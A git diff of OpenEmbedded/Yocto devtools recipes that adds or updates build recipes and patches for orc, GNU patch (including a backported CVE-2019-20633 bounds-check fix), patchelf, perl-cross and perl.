index 0000000000..5d2296694a
--- /dev/null
+++ b/meta/recipes-devtools/orc/orc_0.4.38.bb
@@ -0,0 +1,30 @@
+SUMMARY = "Optimised Inner Loop Runtime Compiler"
+HOMEPAGE = "http://gstreamer.freedesktop.org/modules/orc.html"
+DESCRIPTION = "Optimised Inner Loop Runtime Compiler is a Library and set of tools for compiling and executing SIMD assembly language-like programs that operate on arrays of data."
+LICENSE = "BSD-2-Clause & BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1400bd9d09e8af56b9ec982b3d85797e"
+
+SRC_URI = "http://gstreamer.freedesktop.org/src/orc/orc-${PV}.tar.xz"
+SRC_URI[sha256sum] = "a55a98d4772567aa3faed8fb84d540c3db77eaba16d3e2e10b044fbc9228668d"
+
+inherit meson pkgconfig gtk-doc
+
+GTKDOC_MESON_OPTION = "gtk_doc"
+GTKDOC_MESON_ENABLE_FLAG = "enabled"
+GTKDOC_MESON_DISABLE_FLAG = "disabled"
+
+BBCLASSEXTEND = "native nativesdk"
+
+PACKAGES =+ "orc-examples"
+PACKAGES_DYNAMIC += "^liborc-.*"
+FILES:orc-examples = "${libdir}/orc/*"
+FILES:${PN} = "${bindir}/*"
+
+python populate_packages:prepend () {
+ libdir = d.expand('${libdir}')
+ do_split_packages(d, libdir, r'^lib(.*)\.so\.*', 'lib%s', 'ORC %s library', extra_depends='', allow_links=True)
+}
+
+do_compile:prepend:class-native () {
+ sed -i -e 's#/tmp#.#g' ${S}/orc/orccodemem.c
+}
diff --git a/meta/recipes-devtools/packagegroups/packagegroup-core-device-devel.bb b/meta/recipes-devtools/packagegroups/packagegroup-core-device-devel.bb
deleted file mode 100644
index edee474eca..0000000000
--- a/meta/recipes-devtools/packagegroups/packagegroup-core-device-devel.bb
+++ /dev/null
@@ -1,16 +0,0 @@
-SUMMARY = "Provides a small set of tools for development on the device"
-
-PR = "r1"
-
-inherit packagegroup
-
-RPROVIDES_${PN} = "qemu-config"
-RREPLACES_${PN} = "qemu-config"
-RCONFLICTS_${PN} = "qemu-config"
-
-RDEPENDS_${PN} = "\
- distcc-config \
- nfs-export-root \
- bash \
- binutils-symlinks \
- "
diff --git a/meta/recipes-devtools/patch/patch.inc b/meta/recipes-devtools/patch/patch.inc
index cbfb8cfcf5..a12d426b2c 100644
--- a/meta/recipes-devtools/patch/patch.inc
+++ b/meta/recipes-devtools/patch/patch.inc
@@ -10,5 +10,5 @@ S = "${WORKDIR}/patch-${PV}"
inherit autotools update-alternatives
-ALTERNATIVE_${PN} = "patch"
+ALTERNATIVE:${PN} = "patch"
ALTERNATIVE_PRIORITY = "100"
diff --git a/meta/recipes-devtools/patch/patch/CVE-2019-13636.patch b/meta/recipes-devtools/patch/patch/CVE-2019-13636.patch
index 9f8b6db0b9..8059d9fe19 100644
--- a/meta/recipes-devtools/patch/patch/CVE-2019-13636.patch
+++ b/meta/recipes-devtools/patch/patch/CVE-2019-13636.patch
@@ -11,7 +11,7 @@ that consistently for input files.
with O_CREAT | O_EXCL to avoid following symlinks in that case as well.
CVE: CVE-2019-13636
-Upstream-Status: Backport[https://git.savannah.gnu.org/cgit/patch.git/patch/?id=dce4683cbbe107a95f1f0d45fabc304acfb5d71a]
+Upstream-Status: Backport [https://git.savannah.gnu.org/cgit/patch.git/patch/?id=dce4683cbbe107a95f1f0d45fabc304acfb5d71a]
Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
---
diff --git a/meta/recipes-devtools/patch/patch/CVE-2019-20633.patch b/meta/recipes-devtools/patch/patch/CVE-2019-20633.patch
new file mode 100644
index 0000000000..9b2c07cf1e
--- /dev/null
+++ b/meta/recipes-devtools/patch/patch/CVE-2019-20633.patch
@@ -0,0 +1,31 @@
+From 15b158db3ae11cb835f2eb8d2eb48e09d1a4af48 Mon Sep 17 00:00:00 2001
+From: Andreas Gruenbacher <agruen@gnu.org>
+Date: Mon, 15 Jul 2019 19:10:02 +0200
+Subject: Avoid invalid memory access in context format diffs
+
+* src/pch.c (another_hunk): Avoid invalid memory access in context format
+diffs.
+
+CVE: CVE-2019-20633
+Upstream-Status: Backport [https://git.savannah.gnu.org/cgit/patch.git/patch/?id=15b158db3ae11cb835f2eb8d2eb48e09d1a4af48]
+Signed-off-by: Scott Murray <scott.murray@konsulko.com>
+
+---
+ src/pch.c | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/src/pch.c b/src/pch.c
+index a500ad9..cb54e03 100644
+--- a/src/pch.c
++++ b/src/pch.c
+@@ -1328,6 +1328,7 @@ another_hunk (enum diff difftype, bool rev)
+ ptrn_prefix_context = context;
+ ptrn_suffix_context = context;
+ if (repl_beginning
++ || p_end <= 0
+ || (p_end
+ != p_ptrn_lines + 1 + (p_Char[p_end - 1] == '\n')))
+ {
+--
+cgit v1.2.1
+
diff --git a/meta/recipes-devtools/patch/patch_2.7.6.bb b/meta/recipes-devtools/patch/patch_2.7.6.bb
index b5897b357a..e0e44f9c97 100644
--- a/meta/recipes-devtools/patch/patch_2.7.6.bb
+++ b/meta/recipes-devtools/patch/patch_2.7.6.bb
@@ -1,5 +1,5 @@
require patch.inc
-LICENSE = "GPLv3"
+LICENSE = "GPL-3.0-only"
SRC_URI += "file://0001-Unset-need_charset_alias-when-building-for-musl.patch \
file://0002-Fix-segfault-with-mangled-rename-patch.patch \
@@ -10,6 +10,7 @@ SRC_URI += "file://0001-Unset-need_charset_alias-when-building-for-musl.patch \
file://0001-Invoke-ed-directly-instead-of-using-the-shell.patch \
file://0001-Don-t-leak-temporary-file-on-failed-ed-style-patch.patch \
file://0001-Don-t-leak-temporary-file-on-failed-multi-file-ed.patch \
+ file://CVE-2019-20633.patch \
"
SRC_URI[md5sum] = "4c68cee989d83c87b00a3860bcd05600"
@@ -22,6 +23,6 @@ acpaths = "-I ${S}/m4 "
PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'xattr', d)}"
PACKAGECONFIG[xattr] = "--enable-xattr,--disable-xattr,attr,"
-PROVIDES_append_class-native = " patch-replacement-native"
+PROVIDES:append:class-native = " patch-replacement-native"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/patchelf/patchelf/0001-Set-interpreter-only-when-necessary.patch b/meta/recipes-devtools/patchelf/patchelf/0001-Set-interpreter-only-when-necessary.patch
new file mode 100644
index 0000000000..9a8216b3fe
--- /dev/null
+++ b/meta/recipes-devtools/patchelf/patchelf/0001-Set-interpreter-only-when-necessary.patch
@@ -0,0 +1,31 @@
+From f5df94952e87eaa390e5c845bc48fdb3dbc31cc2 Mon Sep 17 00:00:00 2001
+From: Yuta Hayama <hayama@lineo.co.jp>
+Date: Fri, 21 Jul 2023 10:47:02 +0900
+Subject: [PATCH] Set interpreter only when necessary
+
+If the given interpreter is already set, nothing needs to be done.
+As with modifySoname(), it skips unnecessary processing.
+
+Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
+---
+Upstream-Status: Submitted [https://github.com/NixOS/patchelf/pull/508]
+
+ src/patchelf.cc | 5 +++++
+ 1 file changed, 5 insertions(+)
+
+diff --git a/src/patchelf.cc b/src/patchelf.cc
+index 86429c4..e562c49 100644
+--- a/src/patchelf.cc
++++ b/src/patchelf.cc
+@@ -1460,6 +1460,11 @@ void ElfFile<ElfFileParamNames>::modifySoname(sonameMode op, const std::string &
+ template<ElfFileParams>
+ void ElfFile<ElfFileParamNames>::setInterpreter(const std::string & newInterpreter)
+ {
++ if (getInterpreter() == newInterpreter) {
++ debug("given interpreter is already set\n");
++ return;
++ }
++
+ std::string & section = replaceSection(".interp", newInterpreter.size() + 1);
+ setSubstr(section, 0, newInterpreter + '\0');
+ changed = true;
diff --git a/meta/recipes-devtools/patchelf/patchelf/0002-align-startOffset-with-p_align-instead-of-pagesize-f.patch b/meta/recipes-devtools/patchelf/patchelf/0002-align-startOffset-with-p_align-instead-of-pagesize-f.patch
new file mode 100644
index 0000000000..7906f0f73b
--- /dev/null
+++ b/meta/recipes-devtools/patchelf/patchelf/0002-align-startOffset-with-p_align-instead-of-pagesize-f.patch
@@ -0,0 +1,42 @@
+From 1198329b922f3cdddc3e87a7c81d7730b646c088 Mon Sep 17 00:00:00 2001
+From: Yuta Hayama <hayama@lineo.co.jp>
+Date: Fri, 28 Jul 2023 16:22:31 +0900
+Subject: [PATCH] align startOffset with p_align instead of pagesize for
+ compatibility
+
+According to the ELF specification, the alignment of loadable process segments
+should satisfy (p_vaddr mod pagesize) == (p_offset mod pagesize). However,
+glibc earlier than 2.35 incorrectly requires that the LOAD segment be (p_vaddr
+mod p_align) == (p_offset mod p_align), and will output the error message
+"ELF load command address/offset not properly aligned" if this is not met.
+
+Since there are many systems that use glibc earlier than 2.35, it is preferable
+that newly added LOAD segments satisfy (p_vaddr mod p_align) == (p_offset mod
+p_align) for compatibility.
+
+Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
+---
+Upstream-Status: Submitted [https://github.com/NixOS/patchelf/pull/510]
+
+ src/patchelf.cc | 8 +++++++-
+ 1 file changed, 7 insertions(+), 1 deletion(-)
+
+diff --git a/src/patchelf.cc b/src/patchelf.cc
+index 82b4b46..6edb81a 100644
+--- a/src/patchelf.cc
++++ b/src/patchelf.cc
+@@ -843,7 +843,13 @@ void ElfFile<ElfFileParamNames>::rewriteSectionsLibrary()
+ neededSpace += headerTableSpace;
+ debug("needed space is %d\n", neededSpace);
+
+- Elf_Off startOffset = roundUp(fileContents->size(), getPageSize());
++ /* glibc earlier than 2.35 requires that the LOAD segment satisfies
++ (p_vaddr mod p_align) == (p_offset mod p_align).
++ The ELF specification requires that loadable process segments satisfy
++ (p_vaddr mod pagesize) == (p_offset mod pagesize), so glibc is probably
++ wrong, but here startOffset is calculated according to p_align for
++ compatibility. */
++ Elf_Off startOffset = roundUp(fileContents->size(), alignStartPage);
+
+ // In older version of binutils (2.30), readelf would check if the dynamic
+ // section segment is strictly smaller than the file (and not same size).
diff --git a/meta/recipes-devtools/patchelf/patchelf/0003-make-LOAD-segment-extensions-based-on-p_align-instea.patch b/meta/recipes-devtools/patchelf/patchelf/0003-make-LOAD-segment-extensions-based-on-p_align-instea.patch
new file mode 100644
index 0000000000..37eaf992d8
--- /dev/null
+++ b/meta/recipes-devtools/patchelf/patchelf/0003-make-LOAD-segment-extensions-based-on-p_align-instea.patch
@@ -0,0 +1,32 @@
+From 299ad5766921d593e11a42a8e4dec55b4b350876 Mon Sep 17 00:00:00 2001
+From: Yuta Hayama <hayama@lineo.co.jp>
+Date: Mon, 31 Jul 2023 11:58:49 +0900
+Subject: [PATCH] make LOAD segment extensions based on p_align instead of
+ pagesize
+
+Since the p_align of the LOAD segment is no longer pagesize, the actual p_align
+value is used to calculate for the LOAD segment extension.
+
+If calculated with pagesize, new LOAD segment may be added even though the
+existing LOAD segment can be extended.
+
+Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
+---
+Upstream-Status: Submitted [https://github.com/NixOS/patchelf/pull/510]
+
+ src/patchelf.cc | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/src/patchelf.cc b/src/patchelf.cc
+index 6edb81a..86429c4 100644
+--- a/src/patchelf.cc
++++ b/src/patchelf.cc
+@@ -885,7 +885,7 @@ void ElfFile<ElfFileParamNames>::rewriteSectionsLibrary()
+ rdi(lastSeg.p_type) == PT_LOAD &&
+ rdi(lastSeg.p_flags) == (PF_R | PF_W) &&
+ rdi(lastSeg.p_align) == alignStartPage) {
+- auto segEnd = roundUp(rdi(lastSeg.p_offset) + rdi(lastSeg.p_memsz), getPageSize());
++ auto segEnd = roundUp(rdi(lastSeg.p_offset) + rdi(lastSeg.p_memsz), alignStartPage);
+ if (segEnd == startOffset) {
+ auto newSz = startOffset + neededSpace - rdi(lastSeg.p_offset);
+ wri(lastSeg.p_filesz, wri(lastSeg.p_memsz, newSz));
diff --git a/meta/recipes-devtools/patchelf/patchelf/handle-read-only-files.patch b/meta/recipes-devtools/patchelf/patchelf/handle-read-only-files.patch
deleted file mode 100644
index bf721c1af8..0000000000
--- a/meta/recipes-devtools/patchelf/patchelf/handle-read-only-files.patch
+++ /dev/null
@@ -1,52 +0,0 @@
-From 7f1fd10cfebd5ea2f3e1938abe1bd1c4828164a7 Mon Sep 17 00:00:00 2001
-From: Fabio Berton <fabio.berton@ossystems.com.br>
-Date: Fri, 9 Sep 2016 16:00:42 -0300
-Subject: [PATCH] handle read-only files
-
-Patch from:
-https://github.com/darealshinji/patchelf/commit/40e66392bc4b96e9b4eda496827d26348a503509
-
-Upstream-Status: Denied [https://github.com/NixOS/patchelf/pull/89]
-
-Signed-off-by: Fabio Berton <fabio.berton@ossystems.com.br>
-
----
- src/patchelf.cc | 16 +++++++++++++++-
- 1 file changed, 15 insertions(+), 1 deletion(-)
-
-Index: git/src/patchelf.cc
-===================================================================
---- git.orig/src/patchelf.cc
-+++ git/src/patchelf.cc
-@@ -499,9 +499,19 @@ void ElfFile<ElfFileParamNames>::sortShd
-
- static void writeFile(std::string fileName, FileContents contents)
- {
-+ struct stat st;
-+ int fd;
-+
- debug("writing %s\n", fileName.c_str());
-
-- int fd = open(fileName.c_str(), O_CREAT | O_TRUNC | O_WRONLY, 0777);
-+ if (stat(fileName.c_str(), &st) != 0)
-+ error("stat");
-+
-+ if (chmod(fileName.c_str(), 0600) != 0)
-+ error("chmod");
-+
-+ fd = open(fileName.c_str(), O_CREAT | O_TRUNC | O_WRONLY, 0777);
-+
- if (fd == -1)
- error("open");
-
-@@ -515,6 +525,10 @@ static void writeFile(std::string fileNa
-
- if (close(fd) != 0)
- error("close");
-+
-+ if (chmod(fileName.c_str(), st.st_mode) != 0)
-+ error("chmod");
-+
- }
-
-
diff --git a/meta/recipes-devtools/patchelf/patchelf_0.11.bb b/meta/recipes-devtools/patchelf/patchelf_0.11.bb
deleted file mode 100644
index ba7ad404e9..0000000000
--- a/meta/recipes-devtools/patchelf/patchelf_0.11.bb
+++ /dev/null
@@ -1,16 +0,0 @@
-SRC_URI = "git://github.com/NixOS/patchelf;protocol=https \
- file://handle-read-only-files.patch \
- "
-
-LICENSE = "GPLv3"
-SUMMARY = "Tool to allow editing of RPATH and interpreter fields in ELF binaries"
-
-SRCREV = "d6b2a72d9ec3bdfde4b1aacdada823ce388968bb"
-
-S = "${WORKDIR}/git"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-
-inherit autotools
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/patchelf/patchelf_0.18.0.bb b/meta/recipes-devtools/patchelf/patchelf_0.18.0.bb
new file mode 100644
index 0000000000..dece34240c
--- /dev/null
+++ b/meta/recipes-devtools/patchelf/patchelf_0.18.0.bb
@@ -0,0 +1,23 @@
+SUMMARY = "Tool to allow editing of RPATH and interpreter fields in ELF binaries"
+DESCRIPTION = "PatchELF is a simple utility for modifying existing ELF executables and libraries."
+HOMEPAGE = "https://github.com/NixOS/patchelf"
+
+LICENSE = "GPL-3.0-only"
+
+SRC_URI = "git://github.com/NixOS/patchelf;protocol=https;branch=master \
+ file://0001-Set-interpreter-only-when-necessary.patch \
+ file://0002-align-startOffset-with-p_align-instead-of-pagesize-f.patch \
+ file://0003-make-LOAD-segment-extensions-based-on-p_align-instea.patch \
+"
+SRCREV = "99c24238981b7b1084313aca8f5c493bb46f302c"
+
+S = "${WORKDIR}/git"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
+
+inherit autotools
+
+PACKAGES += "${PN}-zsh-completion"
+FILES:${PN}-zsh-completion = "${datadir}/zsh"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/perl-cross/files/0001-Makefile-check-the-file-if-patched-or-not.patch b/meta/recipes-devtools/perl-cross/files/0001-Makefile-check-the-file-if-patched-or-not.patch
new file mode 100644
index 0000000000..4e9153ebf1
--- /dev/null
+++ b/meta/recipes-devtools/perl-cross/files/0001-Makefile-check-the-file-if-patched-or-not.patch
@@ -0,0 +1,29 @@
+From 3eb33dce6e3c93e1b3efcc9649f871100adada30 Mon Sep 17 00:00:00 2001
+From: Mingli Yu <mingli.yu@windriver.com>
+Date: Fri, 2 Jul 2021 09:08:21 +0000
+Subject: [PATCH] Makefile: check the file if patched or not
+
+Check the file if patched or not to avoid patched more than
+one time.
+
+Upstream-Status: Inappropriate (OE-specific)
+
+Signed-off-by: Mingli Yu <mingli.yu@windriver.com>
+
+---
+ Makefile | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/Makefile b/Makefile
+index c6d6042..d137976 100644
+--- a/Makefile
++++ b/Makefile
+@@ -67,7 +67,7 @@ miniperlmain$O: $(CROSSPATCHED)
+ # Original versions are not saved anymore; patch generally takes care of this,
+ # and if that fails, reaching for the source tarball is the safest option.
+ $(CROSSPATCHED): %.applied: %.patch
+- $(cpatch) -p1 -i $< && touch $@
++ test ! -f $@ && ($(cpatch) -p1 -i $< && touch $@) || echo "$@ exist"
+
+ # ---[ common ]-----------------------------------------------------------------
+
diff --git a/meta/recipes-devtools/perl/files/0001-perl-cross-add-LDFLAGS-when-linking-libperl.patch b/meta/recipes-devtools/perl-cross/files/0001-perl-cross-add-LDFLAGS-when-linking-libperl.patch
index e7985036a0..6c3f08c432 100644
--- a/meta/recipes-devtools/perl/files/0001-perl-cross-add-LDFLAGS-when-linking-libperl.patch
+++ b/meta/recipes-devtools/perl-cross/files/0001-perl-cross-add-LDFLAGS-when-linking-libperl.patch
@@ -3,7 +3,7 @@ From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Tue, 27 Nov 2018 15:37:40 +0100
Subject: [PATCH] perl-cross: add LDFLAGS when linking libperl
-Upstream-Status: Pending
+Upstream-Status: Submitted [https://github.com/arsv/perl-cross/pull/122]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
---
Makefile | 2 +-
diff --git a/meta/recipes-devtools/perl-cross/files/README.md b/meta/recipes-devtools/perl-cross/files/README.md
new file mode 100644
index 0000000000..93217245c8
--- /dev/null
+++ b/meta/recipes-devtools/perl-cross/files/README.md
@@ -0,0 +1,29 @@
+**perl-cross** provides configure script, top-level Makefile
+and some auxiliary files for [perl](http://www.perl.org),
+with the primary emphasis on cross-compiling the source.
+
+ # Get perl and perl-cross sources
+ curl -L -O http://www.cpan.org/src/5.0/perl-5.24.1.tar.gz
+ curl -L -O https://github.com/arsv/perl-cross/releases/download/1.1.3/perl-cross-1.1.3.tar.gz
+
+ # Unpack perl-cross over perl, overwriting Makefile
+ tar -zxf perl-5.24.1.tar.gz
+ cd perl-5.24.1
+ tar --strip-components=1 -zxf ../perl-cross-1.1.3.tar.gz
+
+ # Proceed as usual with most autoconfed packages
+ ./configure --target=arm-linux-gnueabi --prefix=/usr -Duseshrplib
+ make -j4
+ make DESTDIR=/path/to/staging/dir install
+
+Unlike mainline Perl, this configure never runs any target executables,
+relying solely on compile/link tests and pre-defined hints.
+On the flip side, it is only meant to run on resonably sane modern unix systems.
+
+Check [project pages](http://arsv.github.io/perl-cross/) for more info.
+In particular, [configure usage](http://arsv.github.io/perl-cross/usage.html)
+lists available configure options.
+
+Perl-cross is a free software licensed under the same terms
+as the original perl source.
+See LICENSE, Copying and Artistic files.
diff --git a/meta/recipes-devtools/perl-cross/files/determinism.patch b/meta/recipes-devtools/perl-cross/files/determinism.patch
new file mode 100644
index 0000000000..e9bf752bcb
--- /dev/null
+++ b/meta/recipes-devtools/perl-cross/files/determinism.patch
@@ -0,0 +1,46 @@
+Fixes to make the perl build reproducible:
+
+a) Remove the \n from configure_attr.sh since it gets quoted differently depending on
+ whether the shell is bash or dash which can cause the test result to be incorrect.
+ Reported upstream: https://github.com/arsv/perl-cross/issues/87
+
+b) Sort the order of the module lists from configure_mods.sh since otherwise
+ the result isn't the same leading to makefile differences.
+ Reported upstream: https://github.com/arsv/perl-cross/issues/88
+
+c) Sort the Encode::Byte byte_t.fnm file output (and the makefile depends whilst
+ there for good measure)
+ This needs to go to upstream perl (not done)
+
+d) Use bash for perl-cross configure since otherwise trnl gets set to "\n" with bash
+ and "" with dash
+ Reported upstream: https://github.com/arsv/perl-cross/issues/87
+
+RP 2020/2/7
+
+Upstream-Status: Pending [75% submitted]
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org
+
+Index: perl-5.30.1/cnf/configure_mods.sh
+===================================================================
+--- perl-5.30.1.orig/cnf/configure_mods.sh
++++ perl-5.30.1/cnf/configure_mods.sh
+@@ -82,7 +82,7 @@ extonlyif() {
+ }
+
+ definetrimspaces() {
+- v=`echo "$2" | sed -r -e 's/\s+/ /g' -e 's/^\s+//' -e 's/\s+$//'`
++ v=`echo "$2" | sed -r -e 's/\s+/ /g' -e 's/^\s+//' -e 's/\s+$//' | xargs -n1 | LANG=C sort | xargs`
+ define $1 "$v"
+ }
+
+Index: perl-5.30.1/cnf/configure
+===================================================================
+--- perl-5.30.1.orig/cnf/configure
++++ perl-5.30.1/cnf/configure
+@@ -1,4 +1,4 @@
+-#!/bin/sh
++#!/bin/bash
+
+ base=${0%/*}; test -z "$base" && base=.
+
diff --git a/meta/recipes-devtools/perl-cross/perlcross_1.5.2.bb b/meta/recipes-devtools/perl-cross/perlcross_1.5.2.bb
new file mode 100644
index 0000000000..b41c182fad
--- /dev/null
+++ b/meta/recipes-devtools/perl-cross/perlcross_1.5.2.bb
@@ -0,0 +1,38 @@
+SUMMARY = "Perl-cross build system"
+HOMEPAGE = "https://github.com/arsv/perl-cross"
+DESCRIPTION = "perl-cross provides configure script, top-level Makefile and some auxiliary files for perl, \
+with the primary emphasis on cross-compiling the source."
+SECTION = "devel"
+LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
+# README.md is taken from https://github.com/arsv/perl-cross/blob/master/README.md
+# but is not provided inside the release tarballs
+LIC_FILES_CHKSUM = "file://${WORKDIR}/README.md;md5=252fcce2026b765fee1ad74d2fb07a3b"
+
+inherit allarch github-releases
+
+SRC_URI = "${GITHUB_BASE_URI}/download/${PV}/perl-cross-${PV}.tar.gz;name=perl-cross \
+ file://README.md \
+ file://0001-perl-cross-add-LDFLAGS-when-linking-libperl.patch \
+ file://determinism.patch \
+ file://0001-Makefile-check-the-file-if-patched-or-not.patch \
+ "
+GITHUB_BASE_URI = "https://github.com/arsv/perl-cross/releases/"
+
+SRC_URI[perl-cross.sha256sum] = "584dc54c48dca25e032b676a15bef377c1fed9de318b4fc140292a5dbf326e90"
+
+S = "${WORKDIR}/perl-cross-${PV}"
+
+do_configure () {
+}
+
+do_compile () {
+}
+
+do_install:class-native() {
+ mkdir -p ${D}/${datadir}/perl-cross/
+ cp -rf ${S}/* ${D}/${datadir}/perl-cross/
+ rm -rf ${D}/${datadir}/perl-cross/patches/
+}
+
+BBCLASSEXTEND = "native"
+
diff --git a/meta/recipes-devtools/perl/files/0001-CheckLib.pm-do-not-attempt-to-run-a-cross-executable.patch b/meta/recipes-devtools/perl/files/0001-CheckLib.pm-do-not-attempt-to-run-a-cross-executable.patch
deleted file mode 100644
index c5bbe7888e..0000000000
--- a/meta/recipes-devtools/perl/files/0001-CheckLib.pm-do-not-attempt-to-run-a-cross-executable.patch
+++ /dev/null
@@ -1,24 +0,0 @@
-From a033c9ece12b6eead48eed63f106ccdec6159b0c Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Fri, 20 Dec 2019 16:26:55 +0100
-Subject: [PATCH] CheckLib.pm: do not attempt to run a cross executable
-
-Upstream-Status: Inappropriate [oe-core specific]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- inc/Devel/CheckLib.pm | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/inc/Devel/CheckLib.pm b/inc/Devel/CheckLib.pm
-index 36a451a..b04acc1 100644
---- a/inc/Devel/CheckLib.pm
-+++ b/inc/Devel/CheckLib.pm
-@@ -330,7 +330,7 @@ sub assert_lib {
- push @missing, $lib if $rv != 0 || !-x $exefile;
- my $absexefile = File::Spec->rel2abs($exefile);
- $absexefile = '"' . $absexefile . '"' if $absexefile =~ m/\s/;
-- push @wrongresult, $lib if $rv == 0 && -x $exefile && system($absexefile) != 0;
-+ push @wrongresult, $lib if $rv == 0 && -x $exefile && 0 != 0;
- unlink $ofile if -e $ofile;
- _cleanup_exe($exefile);
- }
diff --git a/meta/recipes-devtools/perl/files/0001-ExtUtils-MakeMaker-add-LDFLAGS-when-linking-binary-m.patch b/meta/recipes-devtools/perl/files/0001-ExtUtils-MakeMaker-add-LDFLAGS-when-linking-binary-m.patch
deleted file mode 100644
index 7d5c079b2d..0000000000
--- a/meta/recipes-devtools/perl/files/0001-ExtUtils-MakeMaker-add-LDFLAGS-when-linking-binary-m.patch
+++ /dev/null
@@ -1,26 +0,0 @@
-From 2f74a899474f428a4a5368a94accf801c5f97ae4 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Mon, 4 Jun 2018 18:33:50 +0300
-Subject: [PATCH] ExtUtils-MakeMaker: add $(LDFLAGS) when linking binary
- modules
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Unix.pm | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Unix.pm b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Unix.pm
-index fe53be1..249c048 100644
---- a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Unix.pm
-+++ b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Unix.pm
-@@ -1050,7 +1050,7 @@ sub xs_make_dynamic_lib {
- }
-
- push @m, sprintf <<'MAKE', $ld_run_path_shell, $ldrun, $dlsyms_arg, $ldfrom, $self->xs_obj_opt('$@'), $libs, $exportlist;
-- %s$(LD) %s $(LDDLFLAGS) %s %s $(OTHERLDFLAGS) %s $(MYEXTLIB) \
-+ %s$(LD) %s $(LDDLFLAGS) %s %s $(LDFLAGS) $(OTHERLDFLAGS) %s $(MYEXTLIB) \
- $(PERL_ARCHIVE) %s $(PERL_ARCHIVE_AFTER) %s \
- $(INST_DYNAMIC_FIX)
- $(CHMOD) $(PERM_RWX) $@
diff --git a/meta/recipes-devtools/perl/files/0001-Fix-intermittent-failure-of-test-t-op-sigsystem.t.patch b/meta/recipes-devtools/perl/files/0001-Fix-intermittent-failure-of-test-t-op-sigsystem.t.patch
new file mode 100644
index 0000000000..86fd42cd3d
--- /dev/null
+++ b/meta/recipes-devtools/perl/files/0001-Fix-intermittent-failure-of-test-t-op-sigsystem.t.patch
@@ -0,0 +1,77 @@
+From 75d974a58c461b3b5d35280e497810e46abae4ca Mon Sep 17 00:00:00 2001
+From: William Lyu <William.Lyu@windriver.com>
+Date: Wed, 4 Oct 2023 08:58:41 -0400
+Subject: [PATCH] Fix intermittent failure of test t/op/sigsystem.t
+
+[Perl issue #21546] -- https://github.com/Perl/perl5/issues/21546
+
+This fix addresses the intermittent failure of the test
+t/op/sigsystem.t by improving its robustness. Before the fix, this
+test waits a hard-coded amount of time in the parent process for the
+child process to exit, and the child process may not be able to exit
+soon enough. With this fix, the parent process in this test polls for
+whether the SIGCHLD handler reaped the child process for at most 25
+seconds.
+
+Upstream-Status: Backport [commit ID: 75d974a]
+
+Signed-off-by: William Lyu <William.Lyu@windriver.com>
+Signed-off-by: Randy MacLeod <randy.macleod@windriver.com>
+Reported-by: Alexandre Belloni <alexandre.belloni@bootlin.com>
+
+Committer: William Lyu is now a Perl author.
+---
+ AUTHORS | 1 +
+ t/op/sigsystem.t | 17 ++++++++++++++---
+ 2 files changed, 15 insertions(+), 3 deletions(-)
+
+diff --git a/AUTHORS b/AUTHORS
+index 21948bfdc7..527dd992fd 100644
+--- a/AUTHORS
++++ b/AUTHORS
+@@ -1443,6 +1443,7 @@ Wayne Scott <wscott@ichips.intel.com>
+ Wayne Thompson <Wayne.Thompson@Ebay.sun.com>
+ Wilfredo Sánchez <wsanchez@mit.edu>
+ William J. Middleton <William.Middleton@oslo.mobil.telenor.no>
++William Lyu <William.Lyu@windriver.com>
+ William Mann <wmann@avici.com>
+ William Middleton <wmiddlet@adobe.com>
+ William R Ward <hermit@BayView.COM>
+diff --git a/t/op/sigsystem.t b/t/op/sigsystem.t
+index 25da854902..831feefb0f 100644
+--- a/t/op/sigsystem.t
++++ b/t/op/sigsystem.t
+@@ -37,7 +37,15 @@ SKIP: {
+ test_system('with reaper');
+
+ note("Waiting briefly for SIGCHLD...");
+- Time::HiRes::sleep(0.500);
++
++ # Wait at most 50 * 0.500 = 25.0 seconds for the child process to be
++ # reaped. If the child process exits and gets reaped early, this polling
++ # loop will exit early.
++
++ for (1..50) {
++ last if @pids;
++ Time::HiRes::sleep(0.500);
++ }
+
+ ok(@pids == 1, 'Reaped only one process');
+ ok($pids[0] == $pid, "Reaped the right process.") or diag(Dumper(\@pids));
+@@ -50,8 +58,11 @@ sub test_system {
+ my $got_zeroes = 0;
+
+ # This test is looking for a race between system()'s waitpid() and a
+- # signal handler. Looping a few times increases the chances of
+- # catching the error.
++ # signal handler. The system() call is expected to not interfere with the
++ # SIGCHLD signal handler. In particular, the wait() called within system()
++ # is expected to reap the child process forked by system() before the
++ # SIGCHLD signal handler is called.
++ # Looping a few times increases the chances of catching the error.
+
+ for (1..$expected_zeroes) {
+ $got_zeroes++ unless system(TRUE);
+--
+2.25.1
+
